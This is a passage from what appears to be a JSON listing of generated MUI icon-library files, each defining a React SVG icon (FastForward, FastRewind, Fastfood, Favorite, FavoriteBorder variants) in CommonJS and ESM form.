    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 18 8.5-6L4 6zm9-12v12l8.5-6z\"\n}), 'FastForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9.86v4.28L18.03 12zm-9 0v4.28L9.03 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 18 8.5-6L4 6zm2-8.14L9.03 12 6 14.14zM21.5 12 13 6v12zM15 9.86 18.03 12 15 14.14z\"\n}, \"1\")], 'FastForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9.86v4.28L18.03 12zm-9 0v4.28L9.03 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 18 8.5-6L4 6zm2-8.14L9.03 12 6 14.14zM21.5 12 13 6v12zM15 9.86 18.03 12 15 14.14z\"\n}, \"1\")], 'FastForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewind.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18V6l-8.5 6zm.5-6 8.5 6V6z\"\n}), 'FastRewind');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewind.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18V6l-8.5 6zm.5-6 8.5 6V6z\"\n}), 'FastRewind');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.86v4.28L14.97 12zm-9 0v4.28L5.97 12zM20 6l-8.5 6 8.5 6zm-9 0-8.5 6 8.5 6z\"\n}), 'FastRewindOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.86v4.28L14.97 12zm-9 0v4.28L5.97 12zM20 6l-8.5 6 8.5 6zm-9 0-8.5 6 8.5 6z\"\n}), 'FastRewindOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16.07V7.93c0-.81-.91-1.28-1.58-.82l-5.77 4.07c-.56.4-.56 1.24 0 1.63l5.77 4.07c.67.47 1.58 0 1.58-.81m1.66-3.25 5.77 4.07c.66.47 1.58-.01 1.58-.82V7.93c0-.81-.91-1.28-1.58-.82l-5.77 4.07c-.57.4-.57 1.24 0 1.64\"\n}), 'FastRewindRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16.07V7.93c0-.81-.91-1.28-1.58-.82l-5.77 4.07c-.56.4-.56 1.24 0 1.63l5.77 4.07c.67.47 1.58 0 1.58-.81m1.66-3.25 5.77 4.07c.66.47 1.58-.01 1.58-.82V7.93c0-.81-.91-1.28-1.58-.82l-5.77 4.07c-.57.4-.57 1.24 0 1.64\"\n}), 'FastRewindRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18V6l-8.5 6zm.5-6 8.5 6V6z\"\n}), 'FastRewindSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18V6l-8.5 6zm.5-6 8.5 6V6z\"\n}), 'FastRewindSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 14.14V9.86L5.97 12zm9 0V9.86L14.97 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 6-8.5 6 8.5 6zm-2 8.14L5.97 12 9 9.86zM20 6l-8.5 6 8.5 6zm-2 8.14L14.97 12 18 9.86z\"\n}, \"1\")], 'FastRewindTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastRewindTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 14.14V9.86L5.97 12zm9 0V9.86L14.97 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 6-8.5 6 8.5 6zm-2 8.14L5.97 12 9 9.86zM20 6l-8.5 6 8.5 6zm-2 8.14L14.97 12 18 9.86z\"\n}, \"1\")], 'FastRewindTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fastfood.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.06 22.99h1.66c.84 0 1.53-.64 1.63-1.46L23 5.05h-5V1h-1.97v4.05h-4.97l.3 2.34c1.71.47 3.31 1.32 4.27 2.26 1.44 1.42 2.43 2.89 2.43 5.29zM1 21.99V21h15.03v.99c0 .55-.45 1-1.01 1H2.01c-.56 0-1.01-.45-1.01-1m15.03-7c0-8-15.03-8-15.03 0zM1.02 17h15v2h-15z\"\n}), 'Fastfood');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fastfood.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.06 22.99h1.66c.84 0 1.53-.64 1.63-1.46L23 5.05h-5V1h-1.97v4.05h-4.97l.3 2.34c1.71.47 3.31 1.32 4.27 2.26 1.44 1.42 2.43 2.89 2.43 5.29zM1 21.99V21h15.03v.99c0 .55-.45 1-1.01 1H2.01c-.56 0-1.01-.45-1.01-1m15.03-7c0-8-15.03-8-15.03 0zM1.02 17h15v2h-15z\"\n}), 'Fastfood');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21.98c0 .56.45 1.01 1.01 1.01H15c.56 0 1.01-.45 1.01-1.01V21H1zM8.5 8.99C4.75 8.99 1 11 1 15h15c0-4-3.75-6.01-7.5-6.01M3.62 13c1.11-1.55 3.47-2.01 4.88-2.01s3.77.46 4.88 2.01zM1 17h15v2H1zM18 5V1h-2v4h-5l.23 2h9.56l-1.4 14H18v2h1.72c.84 0 1.53-.65 1.63-1.47L23 5z\"\n}), 'FastfoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21.98c0 .56.45 1.01 1.01 1.01H15c.56 0 1.01-.45 1.01-1.01V21H1zM8.5 8.99C4.75 8.99 1 11 1 15h15c0-4-3.75-6.01-7.5-6.01M3.62 13c1.11-1.55 3.47-2.01 4.88-2.01s3.77.46 4.88 2.01zM1 17h15v2H1zM18 5V1h-2v4h-5l.23 2h9.56l-1.4 14H18v2h1.72c.84 0 1.53-.65 1.63-1.47L23 5z\"\n}), 'FastfoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.9 5H18V2c0-.55-.45-1-1-1s-1 .45-1 1v3h-3.9c-.59 0-1.05.51-1 1.1l.12 1.21C14.9 8.16 18 10.77 18 15l.02 8h1.7c.84 0 1.53-.65 1.63-1.47L22.89 6.1c.06-.59-.4-1.1-.99-1.1M15 21H2c-.55 0-1 .45-1 1s.45 1 1 1h13c.55 0 1-.45 1-1s-.45-1-1-1M2.1 15h12.8c.62 0 1.11-.56.99-1.16-.65-3.23-4.02-4.85-7.39-4.85s-6.73 1.62-7.39 4.85c-.12.6.38 1.16.99 1.16M15 17H2c-.55 0-1 .45-1 1s.45 1 1 1h13c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'FastfoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.9 5H18V2c0-.55-.45-1-1-1s-1 .45-1 1v3h-3.9c-.59 0-1.05.51-1 1.1l.12 1.21C14.9 8.16 18 10.77 18 15l.02 8h1.7c.84 0 1.53-.65 1.63-1.47L22.89 6.1c.06-.59-.4-1.1-.99-1.1M15 21H2c-.55 0-1 .45-1 1s.45 1 1 1h13c.55 0 1-.45 1-1s-.45-1-1-1M2.1 15h12.8c.62 0 1.11-.56.99-1.16-.65-3.23-4.02-4.85-7.39-4.85s-6.73 1.62-7.39 4.85c-.12.6.38 1.16.99 1.16M15 17H2c-.55 0-1 .45-1 1s.45 1 1 1h13c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'FastfoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V1h-2v4h-5l.23 2.31C14.9 8.16 18 10.77 18 15l.02 8h3.18L23 5zM1 21h15v2H1zM8.5 8.99C4.75 8.99 1 11 1 15h15c0-4-3.75-6.01-7.5-6.01M1 17h15v2H1z\"\n}), 'FastfoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V1h-2v4h-5l.23 2.31C14.9 8.16 18 10.77 18 15l.02 8h3.18L23 5zM1 21h15v2H1zM8.5 8.99C4.75 8.99 1 11 1 15h15c0-4-3.75-6.01-7.5-6.01M1 17h15v2H1z\"\n}), 'FastfoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21.98c0 .56.45 1.01 1.01 1.01H15c.56 0 1.01-.45 1.01-1.01V21H1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 10.99c-1.42 0-3.77.46-4.88 2.01h9.77c-1.12-1.55-3.47-2.01-4.89-2.01\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 8.99C4.75 8.99 1 11 1 15h15c0-4-3.75-6.01-7.5-6.01M3.62 13c1.11-1.55 3.47-2.01 4.88-2.01s3.77.46 4.88 2.01zM1 17h15v2H1zM18 5V1h-2v4h-5l.23 2h9.56l-1.4 14H18v2h1.72c.84 0 1.53-.65 1.63-1.47L23 5z\"\n}, \"2\")], 'FastfoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastfoodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21.98c0 .56.45 1.01 1.01 1.01H15c.56 0 1.01-.45 1.01-1.01V21H1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 10.99c-1.42 0-3.77.46-4.88 2.01h9.77c-1.12-1.55-3.47-2.01-4.89-2.01\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 8.99C4.75 8.99 1 11 1 15h15c0-4-3.75-6.01-7.5-6.01M3.62 13c1.11-1.55 3.47-2.01 4.88-2.01s3.77.46 4.88 2.01zM1 17h15v2H1zM18 5V1h-2v4h-5l.23 2h9.56l-1.4 14H18v2h1.72c.84 0 1.53-.65 1.63-1.47L23 5z\"\n}, \"2\")], 'FastfoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Favorite.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 21.35-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3c1.74 0 3.41.81 4.5 2.09C13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54z\"\n}), 'Favorite');"
  },
  {
    "path": "packages/mui-icons-material/lib/Favorite.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 21.35-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3c1.74 0 3.41.81 4.5 2.09C13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54z\"\n}), 'Favorite');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorder.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.66 3.99c-2.64-1.8-5.9-.96-7.66 1.1-1.76-2.06-5.02-2.91-7.66-1.1-1.4.96-2.28 2.58-2.34 4.29-.14 3.88 3.3 6.99 8.55 11.76l.1.09c.76.69 1.93.69 2.69-.01l.11-.1c5.25-4.76 8.68-7.87 8.55-11.75-.06-1.7-.94-3.32-2.34-4.28M12.1 18.55l-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.66 3.99c-2.64-1.8-5.9-.96-7.66 1.1-1.76-2.06-5.02-2.91-7.66-1.1-1.4.96-2.28 2.58-2.34 4.29-.14 3.88 3.3 6.99 8.55 11.76l.1.09c.76.69 1.93.69 2.69-.01l.11-.1c5.25-4.76 8.68-7.87 8.55-11.75-.06-1.7-.94-3.32-2.34-4.28M12.1 18.55l-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteBorderTwoTone.mjs",
